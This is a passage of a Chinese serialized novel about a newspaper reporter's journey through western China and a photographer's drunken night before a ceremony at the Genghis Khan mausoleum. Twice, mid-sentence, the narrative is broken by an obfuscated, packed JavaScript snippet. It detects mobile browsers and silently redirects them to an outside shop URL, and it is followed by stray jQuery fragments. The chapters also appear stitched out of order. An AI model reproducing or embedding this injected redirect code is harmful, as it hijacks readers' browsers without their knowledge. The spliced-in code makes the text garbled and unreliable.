离开内蒙古前，他们见到了老王。副主席的办公室宽敞朴素，墙上挂着成吉思汗像和草原风光摄影。老王本人比照片上清瘦，握手时力道很足。听说他们来自《内海都市报》，他眼睛亮了亮。 “《内海都市报》，”他重复这个名字，手指轻叩桌面，“我年轻时在内海读书，常看。那时报纸还是竖排的。”他端详叶葆启，“你们报社选记者看身高吗？一个个像白杨树。” 采访变成闲聊。老王说起草原的退化与重生，说起一种叫“柠条”的灌木，根系能扎进沙地深处十数米。“治沙如医病，”他说，“急不得。你们内地人总想快，但草原有自己的时辰。” 这话叶葆启记在本子上，画了圈。后来写内蒙古篇时，他用了这个标题——《草原的时辰》。 南下进入宁夏，景象陡然不同。黄土塬上散布着村庄，像大地长出的疖子。他们在西吉县听到一个地名：华西村。起初以为是口误——那个华西村在江苏，是天下第一村。 “就是华西村，”当地宣传干事肯定地说，“江苏华西村来建的，一模一样。” 车子开进这个“克隆村”时，三人都沉默了。整齐划一的二层小楼，白墙红瓦，门前统一的小花园，甚至广场上那尊金牛雕像——都与他们在图片上见过的江苏华西村如出一辙。但背景不是江南水乡，而是赤裸的黄土山峦，反差强烈得近乎荒诞。 村长姓杨，是个精瘦的中年人，左手少了三根手指。“开山炸石时没的，”他轻描淡写地说，用残掌给他们递烟，“但值。你们看现在这村子。” 他带着他们走访。村民马大爷的家宽敞明亮，地上铺着瓷砖，反着冷白的光。老人执意要他们上炕坐，炕桌上摆着苹果和枣子——苹果是外地运来的，表皮打蜡，亮得不自然。 “以前住窑洞，”马大爷比画着，“一下雨就怕。现在这房子，雷劈都不怕。”他说起搬迁过程：如何拆旧窑，如何学用抽水马桶，如何在塑料大棚里种第一茬辣椒。“江苏来的技术员教我们，辣椒要夜里浇水，白天浇会得病。你看，种地都有新法子。” 叶葆启注意到屋角的神龛，供着观世音，香炉里积着新灰。传统与崭新在此诡异共存。 采访杨起之是在一个傍晚。他临时挤出时间，见面地点就在政府大院的一间小会客室。杨起之穿深色夹克，说话慢而沉，每句之间都有停顿，像在权衡字句的分量。 “这个华西村，是个镜子，”他说，“照出东西部，照出过去未来。但镜子里的像是反的，你们明白吗？江苏的华西村是靠自己富起来的，宁夏这个却是靠别人帮起来的。我们要的，是某一天，这镜子两面照出的都是堂堂正正的人。” 这话太深刻，叶葆启当时没完全领会。夜里在招待所整理笔记时，他忽然懂了：援助不是目的，而是让受援者最终不再需要援助。 那晚他梦见无数镜子，镜中都是同一个村庄，但细微处不同——有的镜里村口老槐树还在，有的镜里已经换成路灯；有的镜中人们穿传统服饰，有的已是西装牛仔裤。他在镜迷宫里行走，每个转角都遇见自己的背影。 甘肃的河西走廊像一条巨大的疤痕，横亘在中国地图的脖颈处。行驶在连霍高速上，两侧景色单调得催眠：左是祁连山残雪，右是无垠戈壁，中间这条黑色公路像切开大地的刀痕。 在敦煌，他们住进一家老招待所。院子里有棵胡杨，树干扭曲如挣扎的人体。老板娘说这树三百多岁了，“见过丝绸之路上的驼队，见过斯坦因的车马，现在又见你们”。 莫高窟的讲解员是个年轻女孩，嗓音沙哑，据说是在洞窟里说话太多伤了嗓子。她带他们看第96窟，那座九层楼里的弥勒大佛。仰头望去，佛的面容在昏暗光线中模糊，只有眼睑低垂的弧度清晰，悲悯而疏离。 “这是唐代原作，但历代重修过，”讲解员用手电照亮佛身下部，“你们看这里，衣纹的雕刻风格不一样。明代重修时加高了基座，清代又加了一次，佛像就‘长高’了近一米。” 手电光斑滑过佛脚、衣褶、莲台。叶葆启忽然生出幻觉：那佛在缓慢生长，像一棵树，年轮在不可见处累积。每个朝代都来添一层泥胎，刷一遍金粉，于是佛越来越高，离地越来越远，离最初的工匠——那个无名无姓的塑像师——也越来越远。 “为什么加高？”摄影记者问。 “信仰需要威严，”讲解员答得简洁，“佛越高大，人越渺小，就越虔诚。” 当晚在招待所，叶葆启睡不着，披衣走到院中。胡杨树在月光下投出狰狞影子。他点起烟，火星在黑暗里明灭。忽然想起祖父说过的一句话：“历史不是越积越厚，而是越磨越薄——像老铜钱，字迹磨平了，重量却还在。” 他回屋写下《莫高窟大佛“长高”之谜》。不是简单的考据，而是借佛的身高，写时间的沉积、权力的更迭、信仰的变形。写到结尾时，天已微亮，窗外传来第一声鸟鸣。他加了一段： “佛不会真的长高，长高的是人对神圣的想象。而这想象本身，也是一尊不断被重塑的佛。” 稿件传回报社后，总编辑亲自打来电话，只说了两个字：“好文。” 西行愈深，人烟愈稀。青海湖像一块被遗弃的蓝宝石，嵌在枯黄草甸中。他们到的时候正值湟鱼洄游季节，湖边浅滩里密密麻麻全是逆流而上的鱼群，河水被搅成浑浊的奶白色。 藏民向导才让说，这些鱼每十年才长一斤肉，“慢得像高原上的时间”。他带他们去祭海台，那里经幡密如森林，在风中哗响。才让教他们撒龙达——印着经文的彩色纸片，抛向空中时如蝶群纷飞。 “每片龙达上都写着祈愿，”才让说，“风把愿望带到神那里。” 叶葆启也撒了一把。纸片在上升气流中旋舞，有一片粘在他袖口上，他小心取下，见上面印的藏文如虫迹蜿蜒。他不懂意思，却觉得那形状本身就有某种神力，像古老的密码。 那晚他们住在湖边帐篷。深夜，叶葆启被寒意冻醒，钻出睡袋走出帐篷。银河正横贯天际，星光稠密得几乎流淌下来。湖面映着星空的倒影，天地在黑暗中连成一体。 他忽然感到一种渺小——不是沮丧的渺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904180|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小，而是释然的渺小。在这样浩瀚的星空下，个人的悲喜、事业的成败、甚至时代的更迭，都轻如一片龙达。他想起来西部前总编辑的嘱托：“记录变化。”但此刻他觉得，真正值得记录的，也许是那些不变的东西：星空、大地、人对美的向往、对意义的追寻。 身后传来脚步声，是摄影记者。 “睡不着？”叶葆启问。 “太安静了，耳朵嗡嗡响。”摄影记者点起烟，火光映亮他半边脸。他沉默了一会儿，说：“葆启，我拍了一万多张照片了。但最好的瞬间，往往是没带相机的时候。” 比如昨天在公路上，他们遇见一家磕长头的朝圣者。夫妇俩带着个十岁左右的男孩，额头上都绑着厚木板，手肘和膝盖裹着牛皮。每走三步便全身伏地，额头轻叩地面。动作机械而虔诚，像某种古老的钟摆。 摄影记者举起相机又放下。“拍了就像偷东西，”他当时说。 此刻在星空下，叶葆启理解了他。有些画面只该留在眼睛里，溶进血液里，变成记忆的一部分——而不是凝固在相纸上，成为可供展示的标本。 进入陕西时，春天真正来了。黄土高原的沟壑里，杏花开了，一簇簇粉白点缀在灰黄背景上，娇嫩得令人心碎。他们在延安采访老区建设，在黄帝陵看千年柏树，在西安古城墙下听秦腔——那嘶吼般的唱腔，像土地本身在发声。 返程前最后一天，车子出了故障。小刘趴在引擎盖上捣鼓两小时，满手油污，终于宣告：“得等配件，至少三天。” 他们被困在一个无名小镇。镇子只有一条街，街尾是汽车修理铺，街头是家小饭馆，中间散落着杂货店、理发铺、邮局——邮局的门永远半掩，玻璃柜台里摆着过时的邮票。 意外的滞留成了西行的句点。三天里，他们像当地人一样生活：早上吃豆浆油条，中午在饭馆和卡车司机拼桌，傍晚去镇外土坡上看日落。时间慢下来，慢得像才让说的湟鱼。 叶葆启用这时间整理笔记。三个厚本子写得满满当当，页角卷起，纸面有茶渍、油点、甚至不知哪次匆忙中滴上的蓝墨水。他重读那些文字，发现自己的笔迹在变化：起初工整谨慎，越往后越潦草飞扬，像被西部的风沙吹乱了筋骨。 最后一晚，修好的车停在招待所院里。三人坐在台阶上喝当地产的太白酒，酒烈而糙，烧得喉咙发烫。 “这一路，”小刘忽然说，“我开车开了四万三千七百公里。轮胎换了两次，保养六回。最险是那段盘山路，右边是悬崖，左边是落石区。我握着方向盘，手心全是汗，但一次都没怕过。” 摄影记者笑了：“我拍了十六卷胶片，数码相机内存卡满了三次。最满意的不是那些大场面，是在宁夏华西村，拍马大爷小孙女写作业——铅笔头秃了，她用牙咬着撕作业本边角当垫板，眼睛亮得像星星。” 叶葆启没说话。他想起很多画面：沙暴中□□骆驼的剪影，莫高窟佛眼里凝固的悲悯，青海湖边才让撒龙达时扬手的弧度，陕西杏花树下老农唱信天游时脖颈暴起的青筋……这些画面叠在一起，像一摞透明的胶片，共同显影出一个他从未真正了解过的中国。 “该给这次系列报道起个总标题了。”他说。 摄影记者提议：“西行漫记？” 小刘说：“太普通。” 叶葆启望着夜空——这里星空不如青海浓密，却有颗孤星特别亮，悬在正东方，像在引路。他想起祖父书架上那套《徐霞客游记》，想起古人总把远行叫“壮游”。 “叫《苍原墨迹》吧。”他说。 墨是黑的，原野是黄的，但墨落在纸上，记录下的一切，会生出超越黑与黄的颜色。 回内海是五月末。进城时下着小雨，车窗被雨丝织成模糊的水帘。熟悉的街景在帘后流动，有种不真实的亲切感。报社大楼依旧矗立，但叶葆启觉得，自己和它之间，隔着一整个西部的距离。 交接工作时，总编辑翻看他们的成果：文稿三十余万字，照片两千余张，还有沿途收集的纪念品——宁夏的贺兰石、甘肃的夜光杯、青海的牦牛骨雕。 “辛苦了。”总编辑只说这一句，但握手的力道说明更多。 叶葆启回到自己办公桌。桌上积了薄灰，他用手掌抹开，露出底下压着的全家福。照片里女儿还扎着羊角辫，现在该长高不少了。 他坐下来，开始写这次西行的最后一篇文章。不是报道，是随笔。标题就叫《归途》： “……我们总以为去远方是为寻找新奇，后来明白，是为确认恒常。西部的大地教会我一件事：最快的不是车轮，最亮的不是镜头，最深的不在笔尖。最快的风千年不改方向，最亮的是牧人眼里不灭的火，最深的是黄土下叠压的无数个昨天。 “而我们这些记录者，不过是偶尔路过的雁，在天空留下转瞬即逝的啼鸣。真正的大地静默如谜，它容纳一切痕迹，又抹平一切痕迹——包括我们自以为深刻的足迹。 “但还是要写，要拍，要走。因为每个时代都需要它的徐霞客，在苍原上留下属于这个时代的墨迹。墨会淡，纸会朽，但书写这个动作本身，已成永恒。” 写完最后一句，窗外雨停了。一道极淡的虹，从城市天际升起，弯弯地指向西方。 叶葆启合上笔记本。封皮上沾着一点宁夏的黄土，他轻轻拂去，土屑在夕阳的光柱里飞舞，像微型的、金色的沙暴。 29. 第029章 醉拍成陵 宁夏的休整短暂如驼队掠过沙丘的阴影。当越野车再次启动，向着鄂尔多斯高原驶去时，大地开始展露另一种性格——那是一种更为古老、更为沉默的质地。车窗外，逐渐褪去黄土高原的沟壑纵横，代之以一种辽阔的、带着青铜锈色的平坦。叶葆启靠在车窗边，看见云影在旷野上缓慢移动，像是天空在用巨大的手掌抚摸着大地的伤口。 “这地方，”摄影记者突然开口，打破了长达两小时的沉默，“埋着一个帝国的魂。” 他说这话时，正擦拭着那台尼康F4的取景器。相机在他手中转动，金属外壳反射着午后的阳光，一闪一闪，像某种隐秘的摩尔斯电码。小刘在副驾驶座上打盹，脑袋随着颠簸轻轻摇晃，像株成熟的向日葵。 叶葆启没有接话。他看见地平线上开始出现敖包的轮廓，石块垒成的锥形堆，顶上插着褪色的经幡，在风中猎猎作响。每一个敖包都是一句未完的祈祷，他想。而他们要去的那个地方，是这草原上最大的、最沉重的祈祷——成吉思汗陵。 抵达伊金霍洛旗时已是傍晚。成陵的金顶在落日余晖中燃烧，不是那种温暖的、让人心生慰藉的金色，而是一种冷冽的、带着金属质感的金光，仿佛千年前熔化的战剑在此凝固成形。三座蒙古包式宫殿一字排开，沉默地蹲踞在高原之上，像是三只巨大的、永远阖着眼的黄金兽。 空气中飘着淡淡的柏叶焚烧的气息，混着牛羊粪火的味道，还有一种更深邃的、叶葆启说不清道不明的东西——像是风化了的历史，碾碎成粉末，悬浮在每一寸空气里。 祭祀前夜的欢迎宴会设在旗招待所最大的蒙古包里。直径超过十五米的圆形空间，穹顶上绘着蓝天白云和盘旋的雄鹰。正中央立着巨大的铜制火盆，炭火正旺，噼啪作响，将每个人的脸映照得忽明忽暗。 主人是位五十来岁的蒙古族干部，脸颊上有着典型的高原红，眼睛细长，看人时总带着三分笑意，但眼底深处有种鹰隼般的锐利。他身穿深蓝色蒙古袍，腰系杏黄色绸带，银质腰扣上刻着盘肠纹。 “远道而来的朋友们，”他举起手中的银碗，碗沿镶嵌着一圈珊瑚和绿松石，“草原用风迎接你们，我们用酒温暖你们。” 歌声随即响起。不是一个人唱，而是一群穿着盛装的姑娘和小伙子，从蒙古包外鱼贯而入，手里都捧着银碗，歌声浑厚如从大地深处涌出： “金杯里斟满了醇香的奶酒 赛勒尔外冬赛 朋友们欢聚一堂共同干一杯 赛勒尔外冬赛……” 歌声是有重量的，叶葆启感觉到那旋律压在胸口，沉甸甸的。银碗已经递到面前，碗中的马奶酒泛着乳白色的微光，表面浮着细小的泡沫。他接过碗，指尖触到冰凉的银器，与碗中酒的温热形成奇异的反差。 按照规矩，要用无名指蘸酒，弹向天空、大地和火盆——敬天、敬地、敬火神。叶葆启照做了，酒液在空中划出短暂的弧线，落入火盆时发出“滋”的一声轻响，腾起一小股青烟，带着奶香和酒精混合的奇特气味。 他仰头喝下。酒液滑过喉咙，先是奶的醇厚，随即是酒的灼热，最后留存在舌根的是种微酸的、属于草原的野性余味。 摄影记者坐在他右边，眼睛已经亮了。叶葆启太熟悉这种亮光——那是他看见绝佳拍摄对象时才有的眼神，混合着贪婪、兴奋和一种近乎痛苦的专注。只是此刻，这眼神投向的不是某个画面，而是那些源源不断递来的银碗。 “唉，”叶葆启在第三碗后低声提醒，“这酒后劲大。” 摄影记者摆手，脸颊泛着红光：“放心，我心里有数。” 但叶葆启知道，他已经没数了。他看见摄影记者喝酒的节奏在变快，从最初的谨慎小口，到后来的仰头豪饮。他的笑声越来越大，开始用生硬的蒙语词汇回应敬酒，把“巴雅尔拉”（谢谢）说成了“巴雅尔啦”，多了一个拖长的尾音，引得蒙古族朋友们开怀大笑。 银碗在火光下流转，像一轮轮小月亮，被一双双手传递。歌声一轮接一轮，有时激昂如万马奔腾，有时低回如长调悲歌。叶葆启感到一种奇异的抽离感——他既在这个温暖喧嚣的蒙古包里，又仿佛站在包外寒冷的夜风中，透过毡房的缝隙窥视这场古老的仪式。 他看见摄影记者接了第六碗。这一次，敬酒的是位白发苍苍的老者，袍子的肘部已经磨得发亮，但眼神清亮如少年。他唱的不是寻常的敬酒歌，而是一段悠长的、带着颤音的古歌。歌词叶葆启听不懂，但那旋律让他想起干涸的河床、风化的岩石、被沙土半掩的白骨。 摄影记者接过碗，手有些抖。他看向叶葆启，眼神突然变得很清澈，清澈得近乎透明。他说：“葆启，这酒……这酒里能看见东西。” 然后他一饮而尽。 接下来的事情发生得像一场慢镜头电影。 摄影记者站起来，身子晃了晃。火盆里的火焰突然蹿高，将他的影子巨大地投射在穹顶上，那影子随着火焰跳动，变形，时而像骏马扬蹄，时而像弯弓欲射。他张开嘴，似乎想说什么，但发出的是一串含混的音节，既非汉语也非蒙语。 叶葆启赶紧起身扶住他。触手的瞬间，他惊讶地发现摄影记者的身体在轻微地震颤，不是醉酒的那种瘫软颤抖，而是一种有节奏的、几乎像心跳般的搏动。 “他看见祖先了。”那位敬酒的老者突然用汉语说，声音平静得像在陈述一个事实。 蒙古包里安静了一瞬。然后主人笑着说：“喝好了，喝好了！扶记者同志回去休息吧！” 叶葆启和小刘一左一右架着摄影记者往外走。掀开毡门帘的刹那，冷风扑面，带着草原深夜刺骨的寒。摄影记者突然剧烈挣扎，扭头看向成陵方向——三座宫殿在夜色中只剩下漆黑的剪影，唯有金顶反射着微弱的星光，像是三只沉睡巨兽半睁的眼。 “马……”摄影记者含糊地说，“好多马……在跑……” 小刘吓得脸色发白：“叶老师，张老师这是……” “醉酒，加上高原反应。”叶葆启说，但他心里知道没那么简单。摄影记者眼中的世界正在裂变，现实的边界在酒精和这片古老土地的双重作用下变得模糊不清。 回到招待所房间，他们把摄影记者安置在床上。他很快陷入昏睡，但睡得极不安稳，眼皮下的眼球快速转动，嘴唇无声地开合，像是在与某个看不见的存在对话。半夜两点，他突然坐起，眼睛睁得极大，直勾勾盯着空白的墙壁。 “光，”他说，“墙在发光。” 叶葆启打开灯。墙壁就是普通的白色涂料墙，除了他们的影子，什么都没有。 “现在呢？”叶葆启问。 摄影记者看了很久，缓缓摇头：“灭了。”然后又倒下睡去。 叶葆启再无睡意。他坐在靠窗的椅子上，看着窗外黑黢黢的草原。远处传来零星的狗吠，更远的地方，也许有狼嚎，但被风声掩盖，听不真切。他想起了莫言小说里的场景——那些喝醉后看见亡灵的人物，那些在现实与幻觉边界上游走的灵魂。他一直以为那是文学的夸张，但此刻，在这片埋着成吉思汗衣冠冢的土地上，他开始怀疑，也许有些边界本就比纸还薄。 凌晨四点，摄影记者开始呕吐。吐出来的不止是酒和食物，还有一种深绿色的、带着苦味的液体。小刘惊慌失措，叶葆启却相对镇定——他记起小时候在山东老家，老人说人若撞了邪，会吐出“绿色的魂”。 吐完后，摄影记者反而清醒了些，能认出人了，但头疼欲裂，连抬手的力气都没有。 “葆启，”他声音嘶哑，“明天……明天我完了。” 窗外，天色开始泛白。第一缕晨光爬上成陵的金顶，像一把无形的刷子，将黑暗一寸寸涂成铁青色。 祭祀早晨七点开始。六点半，叶葆启最后一次试图叫醒摄影记者，后者只勉强睁开眼，又迅速闭上，仿佛眼皮有千斤重。 “相机……”摄影记者从牙缝里挤出两个字，“你去……” 那台尼康F4就在床头柜上，黑色机身冷峻如一块经过精密计算的金属。叶葆启平时也用相机，但多是傻瓜相机或者借摄影记者的备机拍些记录性画面。这台F4是摄影记者的命根子，全手动操作，光是各种按钮和转盘就有二十多个。 叶葆启拿起相机，重量出乎意料——不仅是物理上的沉重，更是一种责任的重量。透过取景器看出去，世界被切割成一个矩形，边缘锐利，中央清晰。这钢铁之眼将如何看见这场祭祀？他不知道。 小刘留在房间照顾摄影记者，叶葆启独自走向祭祀广场。清晨的寒风如刀子，割在脸上生疼。空气中桑烟的味道已经弥漫开来，不是单纯的柏叶香，还混着炒米、奶食和酥油的气息。这是一种复杂的、属于祭祀的嗅觉谱系。 媒体区设在广场东南角，用红绳简单围出。已经有几十家媒体的记者到位，长枪短炮林立，镜头在晨光中闪烁，像一片金属的荆棘丛。叶葆启找了一个相对靠前但不太显眼的位置。他检查相机：胶卷已装好，是摄影记者提前准备的柯达E100VS反转片，高饱和度，适合拍摄色彩浓烈的场面。 他回忆摄影记者教过的要点：拍大场面用f/8到f/11的光圈，保证景深；快门速度不能低于1/125秒，因为人物会动；长焦镜头容易抖，要屏住呼吸，在呼气与吸气的间隙按下快门。 但他的手指还是僵硬的。不是因为冷，而是因为恐惧——对搞砸的恐惧，对亵渎的恐惧，对无法用镜头捕捉那不可言说之物的恐惧。 七点整，号角声响起。不是录制播放的，而是真正的、用牛角制成的号角，声音低沉苍凉，像是从大地深处发出，震得人胸腔发麻。仪仗队从陵宫正门走出，清一色的深蓝色蒙古袍，头戴貂皮帽，手持苏鲁锭长矛——那是成吉思汗军队的象征，长矛顶端是铁制的矛尖，下面系着黑色的马鬃，在风中如波浪般起伏。 叶葆启端起相机。取景器里，世界变成了另一种存在。那些行走的人不再是具体的人，而是光影、线条、色彩的构成。他按下第一次快门，“咔嗒”声在周围密集的快门声中几乎被淹没。 祭祀的核心环节是“察罕苏力德祭”，即祭拜白色神旗。九位达尔扈特人——世代守护成陵的守陵人后裔——抬出一面巨大的白色旗帜，旗面绣着金色的雄鹰。旗杆有碗口粗，需要三人合抱。 桑烟已经点燃。不是简单的焚烧柏叶，而是一种复杂的仪式：先在香炉中铺一层烧红的炭，再撒上柏叶、炒米、奶食、白糖，最后浇上酥油。火焰轰然腾起，浓白的烟雾笔直上升，在无风的早晨如一根连接天地的乳白色柱子。 透过取景器，叶葆启看见烟雾上升的轨迹发生了奇异的变化。在某个瞬间，烟雾不再是单纯的物理现象，而像是有生命的东西——它扭动、盘旋、舒展，形成各种难以名状的形状。他想起摄影记者醉酒后的话：“这酒里能看见东西。” 也许不是酒的问题，他想。也许是这片土地本身就有让事物显形的能力。 他连续按下快门，调整光圈，从f/5.6到f/16，记录烟雾在不同景深下的状态。汗水从额头滑落，滴在相机顶部的液晶屏上，他慌忙用袖子擦去。 最重要的环节到来：敬献哈达。八十一匹白马被牵入广场——不是真正的八十一匹，而是象征性的九匹，但在此刻的仪式逻辑中，它们就是八十一匹。每一匹马都披着彩缎，额心点着朱砂。达尔扈特人将一条条蓝色的哈达——蓝色象征长生天——敬献给成吉思汗的画像。 媒体被允许稍微靠近。叶葆启挤到最前面，半跪在地，将相机稳在膝盖上。他做了一个大胆的决定：改用慢门。快门速度调到1/15秒，光圈相应缩小。这意味着任何微小的抖动都会让画面模糊，但如果成功，就能捕捉到哈达飘动的轨迹与人像的静态形成的对比。 第一条哈达被献上时，他按下快门。在长达1/15秒的曝光时间里，世界在他眼中变慢了。他看见哈达如蓝色的河流在空中流淌，看见献哈达者的手臂缓慢抬起，看见周围的人群如海底的水草般轻轻摇曳。他屏住呼吸，仿佛自己的呼吸都会震动大地。 “咔嗒。”快门闭合。 他不敢看结果，继续拍摄。第二条、第三条……直到九条哈达全部献完。他的手指因持续用力而颤抖，肩颈肌肉酸痛如被撕裂，但精神却异常清醒，清醒得能听见自己心跳与远处鼓点的共振。 当天下午，摄影记者勉强恢复，补拍了祭祀结束后的其他活动。但他的状态明显不对，眼神涣散，按快门的手指迟疑不决，错过了好几个关键瞬间。叶葆启看在眼里，没说什么。他知道有些东西一旦破碎，短时间内难以复原——无论是身体还是某种更深层的东西。 晚上，他们找到旗里唯一能冲洗专业反转片的照相馆。老板是个汉族中年人，少言寡语，但暗房设备出奇地专业。听说要冲祭祀的片子，他特地换上了新的显影液和定影液。 “这种片子，”他摸着一卷柯达E100VS，“能看见人眼看不见的东西。” 暗房只有四平米大，红色的安全灯让一切蒙上血色。叶葆启、摄影记者和小刘挤在里面，看着老板熟练地将胶片装入显影罐。液体倒入的声音在寂静中格外清晰。 等待的时间被无限拉长。摄影记者不停地看表，尽管表盘在红灯下只是一团模糊的光斑。叶葆启靠着墙，闻着醋酸和定影液混合的刺鼻气味，突然想起小时候在老家看杀猪——也是这样一个密闭空间，也是这种血腥的光线，也是等待某种转化完成。 “时间到了。”老板说。 他将胶片从显影罐中取出，夹在吊绳上。湿漉漉的胶片在红灯下反射着幽光，上面的影像还看不真切。老板打开水洗槽，让流水缓缓冲刷胶片。水流声中，影像逐渐浮现。 第一张是仪仗队的全景。出乎所有人意料，画面异常沉稳，构图严谨，地平线笔直地将天地分割，仪仗队恰好处于黄金分割线上。光影处理得极好，晨光斜射，在深蓝色蒙古袍上勾勒出金色的边缘。 摄影记者凑近看，鼻尖几乎碰到湿胶片：“这……这是你拍的？” 叶葆启点头。 第二张是桑烟升起。更惊人的事情出现了：在烟雾最浓密处，似乎隐约可见某种形状——像马头，又像展翅的鹰。摄影记者倒吸一口凉气：“你用了什么滤镜？” “什么都没用。”叶葆启说。他也看见了那个形状，但他宁愿相信是烟雾自然形成的巧合。 一张张看下去，叶葆启拍的部分没有一张废片。虽然不是摄影记者那种充满张力和戏剧性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904181|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的风格，但自有一种庄重沉稳的气度，恰好契合祭祀的主题。尤其是那张慢门拍摄的献哈达——蓝色哈达化作一道流淌的光河，献哈达者的面容在长时间的曝光中变得模糊，反而获得了一种超越个体的象征性：他不再是某个具体的人，而是所有敬献者的化身。 摄影记者沉默了很长时间。红灯在他脸上投下深深浅浅的阴影，让他的表情难以捉摸。最后他说：“葆启，你拍得比我好。” “你喝醉了说的胡话。”叶葆启说。 “不，”摄影记者摇头，“我是说真的。我拍祭祀，总是想抓最震撼的瞬间，最戏剧性的表情。但你……你拍的是祭祀本身，是那种‘在场’的感觉。你看这张——”他指着另一张群众跪拜的照片，“这些人脸都看不清，但你能感觉到他们的虔诚。不是因为表情，而是因为姿态，因为光线，因为整个画面的氛围。” 老板在一旁忽然开口：“这张片子能留给我一张吗？不收你们冲洗费。” 叶葆启问为什么。 老板指着那张有烟雾形状的照片：“我在这地方开了二十年照相馆，拍过无数次祭祀。第一次看见桑烟显形的。” 回到招待所已经深夜。摄影记者的酒彻底醒了，但另一种醉意似乎还在——那是对自己职业能力的怀疑，对偶然性的敬畏，对这片土地神秘力量的困惑。 他坐在床边，手里拿着那张慢门拍摄的哈达照片的样片，看了很久。 “葆启，”他终于说，“你知道我昨天看见了什么吗？” 叶葆启等着。 “我看见了马队。不是一匹两匹，是成千上万的马，从成陵里冲出来，在草原上奔跑。马背上没有人，但马鞍俱全，像是骑手刚刚消失。马群跑过的地方，草都倒伏，但不是被践踏倒的，而是……像是被某种巨大的重量压弯的，无形的重量。” 他停顿，似乎在组织语言：“然后我看见了光。从每匹马的额头射出，在夜空中交织成网。网的中心，就是成陵的金顶。那光不是金色，是银色，冷冰冰的，像月光，但比月光亮一千倍。” “醉酒的幻觉。”叶葆启说。 “也许。”摄影记者躺下，盯着天花板，“但今天你拍的这些照片——尤其是烟雾里的形状——让我又开始怀疑。也许不是幻觉，也许我真的看见了，只是用眼睛看不见的方式。” 他侧过身，面向叶葆启：“你知道最可怕的是什么吗？是我竟然有点庆幸。庆幸我喝醉了，错过了拍摄。因为如果我清醒着去拍，一定会拼命抓那些表面的、戏剧性的东西，反而会错过真正重要的——你拍到的这种……这种‘气息’。” 叶葆启想起莫言小说里的一句话，随口说出来：“有时候，醉眼看世界，反而更清楚。” 摄影记者笑了，这是他从昨天醉酒后第一次真正地笑：“这话谁说的？” “一个老家的作家。” “他说得对。” 第二天写稿时，叶葆启详细记述了这段插曲。但他没有简单地写成“醉酒误事”，而是试图捕捉那种复杂的、悖论的状态：摄影记者因醉酒错过了拍摄，却在醉酒中看见了某种本质；叶葆启因顶替而紧张，却因紧张而全神贯注，反而拍出了超越技术水平的东西。 他在稿子最后写道： “新闻记者总是追求清醒、客观、冷静。但在这片古老的土地上，在与八百年前的灵魂对话的场合，绝对的清醒也许恰恰是一种盲目。摄影记者的醉，让他暂时剥去了职业的外壳，以赤裸的感官触碰到了草原的魂；我的醒，则让我以职业的框架捕捉到了仪式的形。醉与醒，在此形成了一种辩证：没有醉时的敞开，醒时的记录可能流于表面；没有醒时的控制，醉时的体验只能停留在私人幻觉。 成陵的祭祀年复一年，桑烟升起又散去。我们这些外来者，带着相机和笔记本，试图捕捉那些不可捕捉之物。也许最好的状态，是半醉半醒——醉到足以让边界的围墙坍塌，醒到还能记得按下快门。” 稿子发回报社后引起热议。摄影部主任特意打来电话，说那张慢门哈达的照片已经决定用作下一期摄影专刊的封面。更让叶葆启意外的是，摄影记者主动提出，那组照片的署名应该用他们两人的名字。 “没有我的醉，就没有你的醒。”摄影记者说，“这是共同作品。” 离开鄂尔多斯的那天早晨，他们特意绕道成陵，做最后的告别。清晨的陵园空无一人，只有守陵人在远处慢悠悠地打扫。金顶在朝阳下依然闪耀，但少了祭祀那天的神圣威严，多了几分日常的宁静。 叶葆启站在广场中央，闭上眼睛。风从耳边掠过，带来远处羊群的叫声和更远处拖拉机的轰鸣。现代与古老，日常与神圣，在此刻交织成这片土地的复调。 摄影记者没有带相机。他说今天不拍照，只用眼睛看。但他看了很久，眼神不再是记者那种扫描式的观察，而是更深沉的凝视，像是要把这片风景刻进记忆里。 上车前，小刘从兜里掏出三块小石头，递给叶葆启和摄影记者一人一块：“我在陵宫后面捡的，做纪念。” 石头很普通，灰褐色，表面粗糙。但握在手心，能感觉到阳光留下的余温。叶葆启把石头放进上衣口袋，贴着胸口的位置。 越野车再次启动，向西，向更深的西部驶去。后视镜里，成陵的金顶越来越小，最终消失在地平线下。 摄影记者忽然说：“你们说，成吉思汗真的葬在那里吗？” 正史记载，成吉思汗的秘葬地无人知晓，成陵只是衣冠冢和祭祀之所。但在这片土地上，传说比史书更有生命力。 叶葆启想起暗房里那张烟雾显形的照片，想起摄影记者描述的银色光网，想起自己按下快门时那种超越自我的状态。 “也许，”他说，“重要的不是埋在哪里，而是人们相信他埋在哪里。相信本身，就是一种力量。” 车窗外，草原无垠，天空如倒扣的蔚蓝巨碗。一群鹰在天际盘旋，画着看不见的圆。叶葆启想起蒙古族朋友唱的一句歌词，大意是：鹰飞得再高，影子也落在地上；人走得再远，魂也系在故乡。 他摸了摸胸口的石头。坚硬的、粗糙的、真实的触感。 相机躺在后备箱的器材包里，安静如冬眠的兽。那卷拍完的胶片已经寄回北京，那些瞬间已经被固化在化学涂层上，等待被更多人看见。但有些东西是无法被胶片记录的——比如风的味道，比如光的温度，比如在某个临界状态中，人与土地、与历史、与不可见之物的短暂相遇。 摄影记者靠在椅背上，闭上眼睛。他的酒彻底醒了，但某种更深的东西似乎刚刚苏醒。 